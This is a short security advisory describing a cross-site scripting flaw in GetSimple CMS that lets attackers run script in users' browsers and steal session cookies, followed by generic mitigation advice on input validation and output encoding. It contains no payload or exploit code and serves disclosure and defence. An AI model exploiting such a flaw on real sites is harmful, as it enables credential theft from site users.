Cross-Site Scripting in GetSimple CMS

GetSimple CMS is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Mitigation:

To mitigate this vulnerability, it is recommended to sanitize and validate user-supplied input before using it in web applications. Developers should implement proper input validation techniques, such as whitelisting or input filtering, to prevent XSS attacks. Additionally, using output encoding functions when displaying user input can help prevent the execution of malicious scripts.
